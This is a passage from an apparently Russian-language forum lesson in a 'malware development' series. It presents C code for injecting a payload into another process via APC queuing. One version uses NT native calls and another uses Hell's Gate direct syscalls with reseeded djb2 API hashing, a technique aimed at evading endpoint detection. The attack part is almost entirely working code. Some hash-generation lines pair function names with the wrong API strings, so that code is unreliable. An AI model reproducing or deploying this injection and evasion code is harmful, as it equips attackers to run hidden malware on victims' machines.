printf("[+] Allocated Address At : 0x%p Of Size : %d \n", pAddress, sSize);
//--------------------------------------------------------------------------

// Запись полезной нагрузки
printf("[#] Press <Enter> To Write The Payload ... ");
getchar();
printf("\t[i] Writing Payload Of Size %d ... ", sPayloadSize);
if ((STATUS = NtWriteVirtualMemory(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sPayloadSize) {
    printf("[!] pNtWriteVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
    printf("[i] Bytes Written : %d of %d \n", sNumberOfBytesWritten, sPayloadSize);
    return FALSE;
}
printf("[+] DONE \n");
//--------------------------------------------------------------------------

// Изменение разрешений памяти на RWX
if ((STATUS = NtProtectVirtualMemory(hProcess, &pAddress, &sPayloadSize, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
    printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
    return FALSE;
}
//--------------------------------------------------------------------------

// Выполнение полезной нагрузки с помощью NtQueueApcThread

printf("[#] Press <Enter> To Run The Payload ... ");
getchar();
printf("\t[i] Running Payload At 0x%p Using Thread Of Id : %d ... ", pAddress, GetThreadId(hThread));
if ((STATUS = NtQueueApcThread(hThread, pAddress, NULL, NULL, NULL)) != 0) {
    printf("[!] NtQueueApcThread Failed With Error : 0x%0.8X \n", STATUS);
    return FALSE;
}
printf("[+] DONE \n");

return TRUE;
}

Реализация с использованием Hell's Gate

Последняя реализация для этого модуля использует Hell's Gate. Сначала убедитесь, что здесь выполняются те же шаги, что и для настройки проекта Visual Studio с SysWhispers3. В частности, включение MASM и изменение свойств для компиляции файла ASM с использованием Microsoft Macro Assembler.

Обновление структуры VX_TABLE

C:
typedef struct _VX_TABLE {
VX_TABLE_ENTRY NtAllocateVirtualMemory;
VX_TABLE_ENTRY NtWriteVirtualMemory;
VX_TABLE_ENTRY NtProtectVirtualMemory;
VX_TABLE_ENTRY NtQueueApcThread;
} VX_TABLE, * PVX_TABLE;

Обновление значения начального числа (seed)

Для начального числа будет использоваться новое значение, чтобы изменить хэш-значения системных вызовов. Функция хеширования djb2 обновляется новым значением начального числа, как показано ниже.

C:
DWORD64 djb2(PBYTE str) {
    DWORD64 dwHash = 0x77347734DEADBEEF; // Old value: 0x7734773477347734
    INT c;

    while (c = *str++)
        dwHash = ((dwHash << 0x5) + dwHash) + c;

    return dwHash;
}

Следующие операторы printf должны быть добавлены в новый проект для генерации хэш-значений djb2 (По аналогии с примерами выше, напишите консольную программу).

C:
printf("#define %s%s 0x%p \n", "NtAllocateVirtualMemory", "_djb2", (DWORD64)djb2("NtCreateSection"));
printf("#define %s%s 0x%p \n", "NtWriteVirtualMemory", "_djb2", djb2("NtMapViewOfSection"));
printf("#define %s%s 0x%p \n", "NtProtectVirtualMemory", "_djb2", djb2("NtUnmapViewOfSection"));
printf("#define %s%s 0x%p \n", "NtQueueApcThread", "_djb2", djb2("NtClose"));
printf("#define %s%s 0x%p \n", "NtCreateThreadEx", "_djb2", djb2("NtCreateThreadEx"));

После генерации значений добавьте их в начало проекта Hell's Gate.

Код:
#define NtAllocateVirtualMemory_djb2 0x7B2D1D431C81F5F6
#define NtWriteVirtualMemory_djb2    0x54AEE238645CCA7C
#define NtProtectVirtualMemory_djb2  0xA0DCC2851566E832
#define NtQueueApcThread_djb2        0x331E6B6B7E696022

Функция ApcInjectionViaSyscalls

Код:
BOOL ApcInjectionViaSyscalls(IN PVX_TABLE pVxTable, IN HANDLE hProcess, IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {

    Syscall     St                      = { 0 };
    NTSTATUS    STATUS                  = NULL;
    PVOID       pAddress                = NULL;
    ULONG       uOldProtection          = NULL;
    SIZE_T      sSize                   = sPayloadSize,
                sNumberOfBytesWritten   = NULL;

    // Allocating memory
    HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
    if ((STATUS = HellDescent(hProcess, &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
        printf("[!] NtAllocateVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }
    printf("[+] Allocated Address At : 0x%p Of Size : %d \n", pAddress, sSize);

//--------------------------------------------------------------------------

    // Writing the payload
    printf("[#] Press <Enter> To Write The Payload ... ");
    getchar();
    printf("\t[i] Writing Payload Of Size %d ... ", sPayloadSize);
    HellsGate(pVxTable->NtWriteVirtualMemory.wSystemCall);
    if ((STATUS = HellDescent(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sPayloadSize) {
        printf("[!] pNtWriteVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
        printf("[i] Bytes Written : %d of %d \n", sNumberOfBytesWritten, sPayloadSize);
        return FALSE;
    }
    printf("[+] DONE \n");

//--------------------------------------------------------------------------

    // Changing the memory's permissions to RWX
    HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
    if ((STATUS = HellDescent(hProcess, &pAddress, &sPayloadSize, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
        printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }

//--------------------------------------------------------------------------

    // Executing the payload via NtQueueApcThread

    printf("[#] Press <Enter> To Run The Payload ... ");
    getchar();
    printf("\t[i] Running Payload At 0x%p Using Thread Of Id : %d ... ", pAddress, GetThreadId(hThread));
    HellsGate(pVxTable->NtQueueApcThread.wSystemCall);
    if ((STATUS = HellDescent(hThread, pAddress, NULL, NULL, NULL)) != 0) {
        printf("[!] NtQueueApcThread Failed With Error : 0x%0.8X \n", STATUS);
        return FALSE;
    }
    printf("[+] DONE \n");


    return TRUE;
}

Удаленная инъекция

Возможно использовать функцию ApcInjectionViaSyscalls для удаленной инъекции в процесс, но для этого необходимо создать приостановленный процесс. Этот подход обсуждался здесь

Обновление основной функции

Основную функцию ( ) необходимо обновить для использования функции ApcInjectionViaSyscalls

Демонстрация

Использование реализации с использованием SysWhispers.

1696177510339.png




Использование Hell's Gate

1696177567595.png
 
Последнее редактирование:
Автор темы Похожие темы Форум Ответы Дата
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 6
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 5
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 3
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
Похожие темы
Уроки Разработка вирусов-35.Обход EDRs.Последняя тема цикла
Уроки Разработка вирусов-34.Обход Windows defender
Уроки Разработка вирусов-33.Уменьшение вероятности детекта зверька
Уроки Разработка вирусов-32.Открываем врата ада
Уроки Разработка вирусов-31.Обход виртуальных машин
Уроки Разработка вирусов-30.Черпаем силы в антиотладке
Уроки Разработка вирусов-28. Предельная техника. Разборка с сисколами
Уроки Разработка вирусов-27.Кунгфу-2.Изучаем API Hooking
Уроки Разработка вирусов-26. Изучаем кунгфу-1. Скрытие таблицы импорта
Уроки Разработка вирусов-25. Скрытие строк
Уроки Разработка вирусов-24. Изучаем технику Spoofing
Уроки Разработка вирусов-23. Контроль выполнения полезной нагрузки
Уроки Разработка вирусов-22.Изучаем технику Stomping Injection
Уроки Разработка вирусов-21.Инъекция отображаемой памяти
Уроки Разработка вирусов-20.Вызов кода через функции обратного вызова
Уроки Разработка вирусов-19.Изучаем технику APC Injection
Уроки Разработка малвари-18.Определение PID нужного процесса, или перечисления процессов
Уроки Разработка вирусов-17.Изучаем технику Thread Hijacking
Уроки Разработка вирусов-16.Разборка с цифровой подписью зверька
Уроки Разработка вирусов-15. Прячем Payload в реестре
Верх Низ